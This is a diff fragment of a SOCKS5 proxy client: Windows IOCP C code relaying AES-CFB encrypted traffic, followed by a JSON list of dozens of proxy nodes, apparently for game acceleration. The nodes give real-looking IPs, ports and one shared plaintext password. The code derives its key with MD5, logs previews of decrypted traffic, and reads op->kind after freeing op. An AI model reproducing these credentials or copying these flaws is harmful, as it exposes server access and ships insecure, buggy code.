if (r < 0) { LOGE("S5 greeting invalid"); bridge_start_close(b); return; }
|
||||
if (r == 0) return;
|
||||
dbuf_consume(&b->cli_in, consumed);
|
||||
uint8_t resp[2]={0x05,0x00};
|
||||
post_send_(b, b->cli_fd, OP_CLI_SEND, resp, 2);
|
||||
b->state=ST_REQUEST;
|
||||
LOGI("S5 greeting ok");
|
||||
}
|
||||
static void handle_request(bridge_t* b, const uint8_t* p, size_t n) {
|
||||
size_t consumed=0; socks5_req_t rq; int r=parse_socks5_request(p,n,&rq,&consumed);
|
||||
if (r < 0) { LOGE("S5 request invalid"); bridge_start_close(b); return; }
|
||||
if (r == 0) return;
|
||||
dbuf_consume(&b->cli_in, consumed); b->req=rq;
|
||||
LOGI("S5 request cmd=0x%02x atyp=0x%02x host=%s port=%u", rq.cmd, rq.atyp, rq.host, (unsigned)rq.port);
|
||||
|
||||
if (b->req.cmd == 0x01) {
|
||||
if (b->req.atyp==0x03 && (g_dns_always || host_in_domain_list(b->req.host))) {
|
||||
LOGI("%s DNS-over-tunnel for %s", g_dns_always ? "force" : "match list, use", b->req.host);
|
||||
if (!start_dns_over_tunnel_sync(b, b->req.host)) {
|
||||
socks5_send_reply_log(b->cli_fd, 0x04, "0.0.0.0", 0); bridge_start_close(b); return;
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (!connect_remote_async(b)) { socks5_send_reply_log(b->cli_fd,0x05,"0.0.0.0",0); bridge_start_close(b); return; }
|
||||
} else if (b->req.cmd == 0x03) {
|
||||
b->udp_assoc = udp_assoc_create(b);
|
||||
if (!b->udp_assoc) { socks5_send_reply_log(b->cli_fd,0x01,"0.0.0.0",0); bridge_start_close(b); return; }
|
||||
SOCKADDR_IN sin; int slen=sizeof(sin); getsockname(b->udp_assoc->fd,(SOCKADDR*)&sin,&slen);
|
||||
char bind_ip[INET_ADDRSTRLEN]; InetNtopA(AF_INET,&sin.sin_addr,bind_ip,sizeof(bind_ip));
|
||||
socks5_send_reply_log(b->cli_fd,0x00,bind_ip,ntohs(sin.sin_port));
|
||||
b->state=ST_UDP_ASSOC;
|
||||
LOGI("enter UDP_ASSOC bind=%s:%u", bind_ip, (unsigned)ntohs(sin.sin_port));
|
||||
} else {
|
||||
socks5_send_reply_log(b->cli_fd,0x07,"0.0.0.0",0); bridge_start_close(b); return;
|
||||
}
|
||||
}
|
||||
|
||||
// -------------------- accept path --------------------
|
||||
static void post_accept(SOCKET listen_fd){
|
||||
IO_OP* op=op_alloc(OP_ACCEPT,2*(sizeof(SOCKADDR_STORAGE)+16));
|
||||
SOCKET as=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED);
|
||||
DWORD bytes=0; BOOL ok=pAcceptEx(listen_fd,as,op->storage,0,sizeof(SOCKADDR_STORAGE)+16,sizeof(SOCKADDR_STORAGE)+16,&bytes,&op->ol);
|
||||
if(!ok){ int e=WSAGetLastError(); if(e!=ERROR_IO_PENDING){ closesocket(as); op_free(op); LOGE("AcceptEx err=%d", e);} }
|
||||
op->buf.buf=(char*)(UINT_PTR)as; // stash accepted socket handle
|
||||
}
|
||||
|
||||
// -------------------- worker thread --------------------
|
||||
static DWORD WINAPI worker_thread(LPVOID arg){
|
||||
(void)arg;
|
||||
for(;;){
|
||||
DWORD bytes=0; ULONG_PTR key=0; OVERLAPPED* pol=NULL; BOOL ok=GetQueuedCompletionStatus(g_env.iocp,&bytes,&key,&pol,INFINITE);
|
||||
DWORD gle = ok ? 0 : GetLastError();
|
||||
if(!pol){
|
||||
LOGI("worker exit signal");
|
||||
break;
|
||||
}
|
||||
bridge_t* b=(bridge_t*)key; IO_OP* op=(IO_OP*)pol;
|
||||
|
||||
if(op->kind==OP_ACCEPT){
|
||||
SOCKET as=(SOCKET)(UINT_PTR)op->buf.buf;
|
||||
setsockopt(as,SOL_SOCKET,SO_UPDATE_ACCEPT_CONTEXT,(char*)&g_env.listen_fd,sizeof(g_env.listen_fd));
|
||||
set_tcp_opts(as);
|
||||
|
||||
SOCKADDR *lpLocal=NULL,*lpRemote=NULL; int lLocal=0,lRemote=0;
|
||||
pGetAcceptExSockaddrs(op->storage,0,sizeof(SOCKADDR_STORAGE)+16,sizeof(SOCKADDR_STORAGE)+16, &lpLocal,&lLocal,&lpRemote,&lRemote);
|
||||
char peer[128]; sockaddr_to_string(lpRemote,lRemote,peer,sizeof(peer));
|
||||
LOGI("accepted socket=%llu from %s", (unsigned long long)as, peer[0]?peer:"?");
|
||||
|
||||
bridge_t* nb=(bridge_t*)calloc(1,sizeof(*nb));
|
||||
nb->cfg=&g_env.cfg; nb->cli_fd=as; nb->srv_fd=INVALID_SOCKET; nb->state=ST_GREETING; dbuf_init(&nb->cli_in); dbuf_init(&nb->srv_in);
|
||||
kdf_evp_bytes_to_key_md5((const uint8_t*)g_env.cfg.password, strlen(g_env.cfg.password), nb->key32);
|
||||
dns_cache_init(&nb->dns_cache);
|
||||
nb->closing=0; nb->pending_ops=0; nb->freed=0;
|
||||
|
||||
if (!CreateIoCompletionPort((HANDLE)as, g_env.iocp, (ULONG_PTR)nb, 0)) {
|
||||
LOGE("CreateIoCompletionPort(as) failed gle=%lu", GetLastError());
|
||||
closesocket(as); op_free(op); free(nb); continue;
|
||||
}
|
||||
|
||||
post_recv_(nb, as, OP_CLI_RECV, nb->cfg->recv_buf);
|
||||
post_accept(g_env.listen_fd);
|
||||
op_free(op);
|
||||
continue;
|
||||
}
|
||||
|
||||
if(!b){
|
||||
LOGE("completion key is NULL (gle=%lu), drop op kind=%d", gle, (int)op->kind);
|
||||
op_free(op);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 对取消的 IO(ERROR_OPERATION_ABORTED)做容错
|
||||
if (!ok && gle==ERROR_OPERATION_ABORTED) {
|
||||
LOGD("GQCS: op kind=%d canceled", (int)op->kind);
|
||||
op_free(op);
|
||||
LONG left = InterlockedDecrement(&b->pending_ops);
|
||||
bridge_try_free(b);
|
||||
continue;
|
||||
}
|
||||
|
||||
switch(op->kind){
|
||||
case OP_CLI_RECV: {
|
||||
LOGD("GQCS: CLI_RECV %lu bytes", bytes);
|
||||
if (bytes==0){ op_free(op); bridge_start_close(b); break; }
|
||||
dbuf_append(&b->cli_in, op->storage, bytes); op_free(op);
|
||||
if (b->state==ST_GREETING){ handle_greeting(b,(uint8_t*)b->cli_in.data,b->cli_in.len); }
|
||||
if (b->state==ST_REQUEST){ handle_request (b,(uint8_t*)b->cli_in.data,b->cli_in.len); }
|
||||
if (b->state==ST_STREAM){
|
||||
if (!b->up_ready){ bridge_start_close(b); break; }
|
||||
if (b->cli_in.len){
|
||||
uint8_t* ct=(uint8_t*)malloc(b->cli_in.len); ULONG m=0;
|
||||
aes_cfb_update(&b->up_enc,TRUE,(PUCHAR)b->cli_in.data,(ULONG)b->cli_in.len,ct,&m);
|
||||
LOGD("STREAM up: in=%zu enc=%lu", b->cli_in.len, (unsigned long)m);
|
||||
dbuf_consume(&b->cli_in,b->cli_in.len); if(m) post_send_(b,b->srv_fd,OP_SRV_SEND,ct,m); else free(ct);
|
||||
}
|
||||
} else if (b->state==ST_UDP_ASSOC){
|
||||
dbuf_consume(&b->cli_in,b->cli_in.len);
|
||||
if (b->udp_assoc) udp_poll_once(b->udp_assoc);
|
||||
}
|
||||
if (!b->closing && b->cli_fd!=INVALID_SOCKET) post_recv_(b, b->cli_fd, OP_CLI_RECV, b->cfg->recv_buf);
|
||||
} break;
|
||||
|
||||
case OP_SRV_RECV: {
|
||||
LOGD("GQCS: SRV_RECV %lu bytes", bytes);
|
||||
if (bytes==0){ op_free(op); bridge_start_close(b); break; }
|
||||
dbuf_append(&b->srv_in, op->storage, bytes); op_free(op);
|
||||
if(!b->down_ready){
|
||||
if(b->srv_in.len<16){ if(!b->closing) post_recv_(b,b->srv_fd,OP_SRV_RECV,b->cfg->recv_buf); break; }
|
||||
memcpy(b->iv_server,b->srv_in.data,16); dbuf_consume(&b->srv_in,16);
|
||||
aes_cfb_init(&b->down_dec,b->key32,b->iv_server); b->down_ready=TRUE;
|
||||
LOGI("downstream IV received");
|
||||
}
|
||||
if(b->srv_in.len){
|
||||
uint8_t* pt=(uint8_t*)malloc(b->srv_in.len); ULONG m=0;
|
||||
aes_cfb_update(&b->down_dec,FALSE,(PUCHAR)b->srv_in.data,(ULONG)b->srv_in.len,pt,&m);
|
||||
LOGD("STREAM down: in=%zu dec=%lu", b->srv_in.len, (unsigned long)m);
|
||||
log_preview("HTTP preview", pt, (size_t)m);
|
||||
dbuf_consume(&b->srv_in,b->srv_in.len); if(m) post_send_(b,b->cli_fd,OP_CLI_SEND,pt,m); else free(pt);
|
||||
}
|
||||
if (!b->closing && b->srv_fd!=INVALID_SOCKET) post_recv_(b,b->srv_fd,OP_SRV_RECV,b->cfg->recv_buf);
|
||||
} break;
|
||||
|
||||
case OP_CLI_SEND:
|
||||
case OP_SRV_SEND:
|
||||
LOGD("GQCS: %s_SEND %lu bytes", (op->kind==OP_CLI_SEND)?"CLI":"SRV", bytes);
|
||||
op_free(op);
|
||||
break;
|
||||
|
||||
case OP_CONNECT:
|
||||
LOGI("ConnectEx completed ok=%d gle=%lu", ok, (unsigned long)gle);
|
||||
op_free(op);
|
||||
if(!ok){ socks5_send_reply_log(b->cli_fd,0x05,"0.0.0.0",0); bridge_start_close(b); break; }
|
||||
setsockopt(b->srv_fd,SOL_SOCKET,SO_UPDATE_CONNECT_CONTEXT,NULL,0); set_tcp_opts(b->srv_fd);
|
||||
after_remote_connected(b);
|
||||
break;
|
||||
|
||||
default:
|
||||
LOGE("unknown op kind=%d", (int)op->kind);
|
||||
op_free(op);
|
||||
break;
|
||||
}
|
||||
|
||||
if (op->kind!=OP_ACCEPT) {
|
||||
LONG left = InterlockedDecrement(&b->pending_ops);
|
||||
LOGD("op done kind=%d, pending_ops=%ld", (int)op->kind, left);
|
||||
bridge_try_free(b);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// -------------------- main --------------------
|
||||
int main(int argc, char** argv){
|
||||
WSADATA w; WSAStartup(MAKEWORD(2,2), &w);
|
||||
config_t cfg; parse_args(argc, argv, &cfg);
|
||||
g_env.cfg = cfg;
|
||||
|
||||
LOGI("=== mx iocp socks5 ===");
|
||||
LOGI("listen %s:%d remote %s:%d verbose=%d", cfg.listen_host, cfg.listen_port, cfg.remote_host, cfg.remote_port, cfg.verbose);
|
||||
LOGI("udp_timeout=%ds connect_timeout=%ds", cfg.udp_timeout, cfg.connect_timeout);
|
||||
|
||||
SOCKET ls=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED); if(ls==INVALID_SOCKET){ LOGE("WSASocket listen failed"); return 1; }
|
||||
SOCKADDR_IN sin; ZeroMemory(&sin,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons((uint16_t)cfg.listen_port); InetPtonA(AF_INET,cfg.listen_host,&sin.sin_addr);
|
||||
if(bind(ls,(SOCKADDR*)&sin,sizeof(sin))!=0){ LOGE("bind failed"); return 1; }
|
||||
if(listen(ls,SOMAXCONN)!=0){ LOGE("listen failed"); return 1; }
|
||||
if(!get_ext_fns(ls)){ LOGE("get_ext_fns failed"); return 1; }
|
||||
|
||||
g_env.iocp=CreateIoCompletionPort(INVALID_HANDLE_VALUE,NULL,0,MAX_WORKERS); g_env.listen_fd=ls;
|
||||
CreateIoCompletionPort((HANDLE)ls,g_env.iocp,0,0);
|
||||
|
||||
SYSTEM_INFO si; GetSystemInfo(&si); int nthreads=(int)si.dwNumberOfProcessors; if(nthreads<2) nthreads=2;
|
||||
for(int i=0;i<nthreads;i++){ HANDLE th=CreateThread(NULL,0,worker_thread,NULL,0,NULL); CloseHandle(th); }
|
||||
for (int i=0;i<MAX_PENDING_ACCEPT;i++) post_accept(ls);
|
||||
|
||||
LOGI("ready.");
|
||||
Sleep(INFINITE);
|
||||
WSACleanup(); return 0;
|
||||
}
|
||||
618
python/.ss_client_gui.json
Normal file
618
python/.ss_client_gui.json
Normal file
@ -0,0 +1,618 @@
|
||||
{
|
||||
"script_path": "/home/galaxy/mx",
|
||||
"nodes": [
|
||||
{
|
||||
"name": "test",
|
||||
"server": "121.14.152.149",
|
||||
"port": 10004,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "韩国专线139",
|
||||
"server": "112.54.161.34",
|
||||
"port": 22404,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "欧洲专线777",
|
||||
"server": "123.125.14.84",
|
||||
"port": 22405,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "欧洲专线857",
|
||||
"server": "106.38.203.2",
|
||||
"port": 22405,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "欧洲专线155",
|
||||
"server": "106.38.203.3",
|
||||
"port": 22407,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "香港专线254",
|
||||
"server": "122.13.18.53",
|
||||
"port": 10003,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "国际专线665",
|
||||
"server": "120.241.69.8",
|
||||
"port": 10000,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "首尔专线446",
|
||||
"server": "202.101.50.6",
|
||||
"port": 22406,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "国际专线91",
|
||||
"server": "183.60.131.171",
|
||||
"port": 10000,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "上海专线776",
|
||||
"server": "113.31.103.81",
|
||||
"port": 22407,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "上海专线336",
|
||||
"server": "113.31.103.81",
|
||||
"port": 22404,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "北美专线588",
|
||||
"server": "103.238.186.110",
|
||||
"port": 22405,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "北美专线784",
|
||||
"server": "117.143.9.35",
|
||||
"port": 22411,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "香港专线992",
|
||||
"server": "59.37.81.100",
|
||||
"port": 10002,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "俄罗斯专线310",
|
||||
"server": "223.71.245.185",
|
||||
"port": 10009,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "香港专线886",
|
||||
"server": "111.45.30.118",
|
||||
"port": 10003,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "新加坡专线135",
|
||||
"server": "183.232.156.113",
|
||||
"port": 22404,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "新加坡专线146",
|
||||
"server": "183.232.156.113",
|
||||
"port": 22406,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "北美专线945",
|
||||
"server": "101.227.72.144",
|
||||
"port": 22405,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "北美专线043",
|
||||
"server": "117.143.9.35",
|
||||
"port": 22407,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "日服专线616",
|
||||
"server": "117.143.9.6",
|
||||
"port": 22405,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "日本专线735",
|
||||
"server": "117.143.9.6",
|
||||
"port": 22406,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "日服专线168",
|
||||
"server": "210.51.35.138",
|
||||
"port": 22405,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "北美专线846",
|
||||
"server": "101.227.72.144",
|
||||
"port": 22405,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "北美专线868",
|
||||
"server": "101.227.72.144",
|
||||
"port": 22404,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "日服专线493",
|
||||
"server": "103.238.186.102",
|
||||
"port": 22407,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "日本专线246",
|
||||
"server": "210.51.35.137",
|
||||
"port": 22409,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "日服专线239",
|
||||
"server": "210.51.35.137",
|
||||
"port": 22411,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "日本专线426",
|
||||
"server": "103.238.186.102",
|
||||
"port": 22404,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "亚服专线854",
|
||||
"server": "117.143.9.42",
|
||||
"port": 22404,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "亚服专线354",
|
||||
"server": "103.238.186.114",
|
||||
"port": 22410,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "亚服专线008",
|
||||
"server": "103.238.186.113",
|
||||
"port": 22410,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "亚服专线558",
|
||||
"server": "103.238.186.115",
|
||||
"port": 22411,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "新加坡专线427",
|
||||
"server": "14.119.67.103",
|
||||
"port": 22404,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "首尔专线5",
|
||||
"server": "210.51.35.248",
|
||||
"port": 22404,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "首尔专线265",
|
||||
"server": "202.101.50.1",
|
||||
"port": 22407,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "亚服专线008",
|
||||
"server": "103.238.186.113",
|
||||
"port": 22410,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "新加坡专线850",
|
||||
"server": "14.119.67.103",
|
||||
"port": 22404,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "新加坡专线666",
|
||||
"server": "183.232.156.113",
|
||||
"port": 22404,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "亚服专线416",
|
||||
"server": "43.250.146.218",
|
||||
"port": 22407,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "欧洲专线888",
|
||||
"server": "106.38.203.3",
|
||||
"port": 22407,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "俄罗斯专线362",
|
||||
"server": "106.38.203.6",
|
||||
"port": 10009,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线551",
|
||||
"server": "120.232.206.60",
|
||||
"port": 10003,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线556",
|
||||
"server": "59.37.81.97",
|
||||
"port": 10001,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线537",
|
||||
"server": "14.17.92.154",
|
||||
"port": 10001,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线277",
|
||||
"server": "120.232.206.63",
|
||||
"port": 10002,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线584",
|
||||
"server": "122.13.18.49",
|
||||
"port": 10002,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线38",
|
||||
"server": "59.37.81.101",
|
||||
"port": 10006,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线752",
|
||||
"server": "122.13.18.60",
|
||||
"port": 10007,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线186",
|
||||
"server": "120.232.206.58",
|
||||
"port": 10002,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线986",
|
||||
"server": "183.60.131.148",
|
||||
"port": 10000,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线173",
|
||||
"server": "120.232.206.58",
|
||||
"port": 10004,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线158",
|
||||
"server": "157.148.132.41",
|
||||
"port": 10000,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "北美专线164",
|
||||
"server": "101.227.72.144",
|
||||
"port": 22407,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "韩国专线164",
|
||||
"server": "202.101.51.180",
|
||||
"port": 22404,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "韩国专线827",
|
||||
"server": "202.101.50.6",
|
||||
"port": 22407,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "新加坡专线466",
|
||||
"server": "14.119.67.103",
|
||||
"port": 22406,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "首尔专线384",
|
||||
"server": "112.54.161.38",
|
||||
"port": 22407,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线716",
|
||||
"server": "157.148.132.41",
|
||||
"port": 10000,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线617",
|
||||
"server": "157.148.132.41",
|
||||
"port": 10000,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "香港专线361",
|
||||
"server": "183.60.131.171",
|
||||
"port": 10003,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "香港专线151",
|
||||
"server": "157.148.133.141",
|
||||
"port": 10003,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "欧洲专线613",
|
||||
"server": "223.71.245.177",
|
||||
"port": 22405,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "北美专线842",
|
||||
"server": "112.54.160.17",
|
||||
"port": 22406,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "台湾专线246",
|
||||
"server": "111.45.33.43",
|
||||
"port": 10005,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "新加坡专线247",
|
||||
"server": "14.119.67.103",
|
||||
"port": 22406,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "韩国专线273",
|
||||
"server": "210.51.35.132",
|
||||
"port": 22405,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "俄罗斯专线135",
|
||||
"server": "223.71.245.185",
|
||||
"port": 10008,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "俄罗斯专线945",
|
||||
"server": "106.38.203.6",
|
||||
"port": 10010,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "亚服专线934",
|
||||
"server": "103.238.186.112",
|
||||
"port": 22410,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "亚服专线549",
|
||||
"server": "117.143.9.43",
|
||||
"port": 22407,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "亚服专线249",
|
||||
"server": "210.51.35.253",
|
||||
"port": 22405,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "日服专线328",
|
||||
"server": "117.143.9.7",
|
||||
"port": 22405,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "香港专线162",
|
||||
"server": "59.37.81.97",
|
||||
"port": 10003,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "香港专线635",
|
||||
"server": "120.241.69.108",
|
||||
"port": 10000,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
},
|
||||
{
|
||||
"name": "香港专线165",
|
||||
"server": "120.232.206.21",
|
||||
"port": 10007,
|
||||
"password": "dwz1GtF7",
|
||||
"mx": "com.win64.oppc.game.common:22021709,102024080020541279"
|
||||
